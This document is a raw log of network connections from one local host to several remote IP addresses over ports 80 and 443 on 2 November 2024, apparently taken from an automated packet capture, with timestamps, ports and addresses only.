Nov 2, 2024 07:16:18.600122929 CET	63852	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.600135088 CET	443	63852	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.600383997 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.600397110 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.600936890 CET	63853	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.600976944 CET	443	63853	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.601032019 CET	63853	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.601115942 CET	63853	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.601124048 CET	443	63853	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.034089088 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:19.034149885 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:19.034271002 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:19.037698030 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:19.037729025 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:19.128417015 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.128818035 CET	63849	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.128843069 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.129390001 CET	63849	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.129395008 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.260437012 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.260485888 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.260540962 CET	63849	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.260730028 CET	63849	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.260746002 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.260756016 CET	63849	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.260761023 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.263858080 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.263878107 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.263928890 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.264148951 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.264156103 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.336368084 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.337074041 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.337085009 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.337939978 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.337944031 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.351195097 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.351654053 CET	63850	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.351677895 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.352273941 CET	63850	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.352277994 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.361819029 CET	443	63853	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.364305973 CET	63853	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.364320040 CET	443	63853	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.365016937 CET	63853	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.365021944 CET	443	63853	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.376981974 CET	443	63852	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.379929066 CET	63852	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.379951954 CET	443	63852	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.380382061 CET	63852	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.380387068 CET	443	63852	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.385102034 CET	63813	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:19.385359049 CET	63856	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:19.390304089 CET	80	63856	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:19.390364885 CET	80	63813	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:19.390460014 CET	63813	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:19.390460968 CET	63856	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:19.390825987 CET	63856	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:19.395673037 CET	80	63856	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:19.464616060 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.464679956 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.464790106 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.464833021 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.464925051 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.464925051 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.464940071 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.464956045 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.464961052 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.470175028 CET	63857	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.470206976 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.474272013 CET	63857	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.478176117 CET	63857	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.478193998 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.486008883 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.486073017 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.486160040 CET	63850	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.486326933 CET	63850	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.486344099 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.486398935 CET	63850	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.486403942 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.488421917 CET	63858	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.488442898 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.488611937 CET	63858	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.488611937 CET	63858	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.488631010 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.497425079 CET	443	63853	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.497474909 CET	443	63853	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.498248100 CET	63853	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.498248100 CET	63853	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.498286009 CET	63853	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.498296976 CET	443	63853	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.499998093 CET	63859	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.500019073 CET	443	63859	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.502239943 CET	63859	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.502396107 CET	63859	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.502408028 CET	443	63859	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.517168045 CET	443	63852	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.521219969 CET	443	63852	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.521311998 CET	63852	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.521311998 CET	63852	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.521338940 CET	63852	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.521349907 CET	443	63852	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.523192883 CET	63860	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.523222923 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.523343086 CET	63860	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.526264906 CET	63860	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:19.526299953 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:19.673966885 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:19.674141884 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:19.678164005 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:19.678185940 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:19.678524971 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:19.730166912 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:19.765531063 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:19.765531063 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:19.765666008 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:20.000076056 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.000610113 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.000622988 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.001157045 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.001161098 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.131228924 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.131252050 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.131283998 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.131352901 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.131352901 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.144901037 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.144912958 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.144944906 CET	63855	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.144951105 CET	443	63855	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.178143978 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.178183079 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.182254076 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.183779955 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.183793068 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.241918087 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.244163036 CET	63857	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.244174004 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.244719028 CET	63857	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.244730949 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.253720045 CET	443	63859	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.254504919 CET	63859	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.254520893 CET	443	63859	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.255358934 CET	63859	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.255373955 CET	443	63859	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.256215096 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.257935047 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.258980036 CET	63860	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.258996010 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.259588957 CET	63860	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.259593964 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.259964943 CET	63858	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.259987116 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.260679960 CET	63858	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.260684013 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.299355984 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:20.299436092 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:20.299495935 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:20.300833941 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:20.300864935 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:20.300894976 CET	63854	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:20.300913095 CET	443	63854	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:20.309251070 CET	80	63856	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:20.309413910 CET	63856	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:20.318489075 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:20.319303036 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:20.324099064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:20.324249983 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:20.324353933 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:20.324453115 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:20.328082085 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:20.333129883 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:20.378114939 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.378261089 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.382224083 CET	63857	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.382311106 CET	63857	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.382311106 CET	63857	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.382327080 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.382335901 CET	443	63857	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.384493113 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.384531021 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.384824991 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.385221958 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.385235071 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.387062073 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.387120962 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.389940977 CET	443	63859	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.389986992 CET	443	63859	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.390055895 CET	63859	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.390070915 CET	63860	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.390162945 CET	63860	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.390201092 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.390238047 CET	63860	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.390254021 CET	443	63860	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.393325090 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.393491983 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.393533945 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.393666983 CET	63858	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.393727064 CET	63858	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.393734932 CET	443	63858	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.415865898 CET	63859	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.415887117 CET	443	63859	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.419708014 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.419734955 CET	443	63864	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.419786930 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.420386076 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.420399904 CET	443	63864	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.421518087 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.421561003 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.421621084 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.421746969 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.421768904 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.422483921 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.422498941 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.422550917 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.423080921 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:20.423094034 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.451178074 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:20.451203108 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:20.451260090 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:20.451679945 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:20.451693058 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:20.937604904 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:20.979830027 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.017806053 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.017824888 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.022703886 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.022723913 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.066164970 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.066251040 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.121176958 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.152688980 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.152831078 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.152889013 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.158526897 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.158674002 CET	443	63864	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.167316914 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.179107904 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.198560953 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.214169979 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.229809999 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.270492077 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270546913 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270561934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270569086 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.270580053 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270595074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270608902 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.270608902 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.270612001 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270626068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270636082 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.270641088 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270658016 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270674944 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.270683050 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.270699978 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.270729065 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.271401882 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.271421909 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.271624088 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.275567055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.275630951 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.275749922 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.275765896 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.275790930 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.275810003 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.275873899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.275913000 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.286535025 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.286560059 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.286601067 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.306780100 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.306791067 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.307184935 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.307188988 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.307370901 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.307374954 CET	443	63864	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.307683945 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.307687998 CET	443	63864	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.307826042 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.307837963 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.308610916 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.308615923 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.308779955 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.308795929 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.308805943 CET	63861	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.308810949 CET	443	63861	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.364366055 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.364424944 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.365021944 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.365037918 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.428988934 CET	63868	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.429065943 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.429141045 CET	63868	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.429260969 CET	63868	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.429291964 CET	443	63868	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.433738947 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.433759928 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.433792114 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.433813095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.433824062 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.433883905 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.433893919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.433923006 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.433994055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.434247017 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.434259892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.434271097 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.434282064 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.434294939 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.434298038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.434315920 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.434349060 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.434537888 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.434600115 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.434667110 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.434676886 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.434730053 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.434777975 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.434797049 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.434804916 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.434818983 CET	63863	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.434823036 CET	443	63863	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.435543060 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435555935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435564995 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435580015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435590982 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435602903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435605049 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.435619116 CET	443	63864	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.435653925 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.435702085 CET	443	63864	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.435772896 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.435899973 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435921907 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435925961 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.435935020 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.435940027 CET	443	63864	13.107.246.45	192.168.2.4
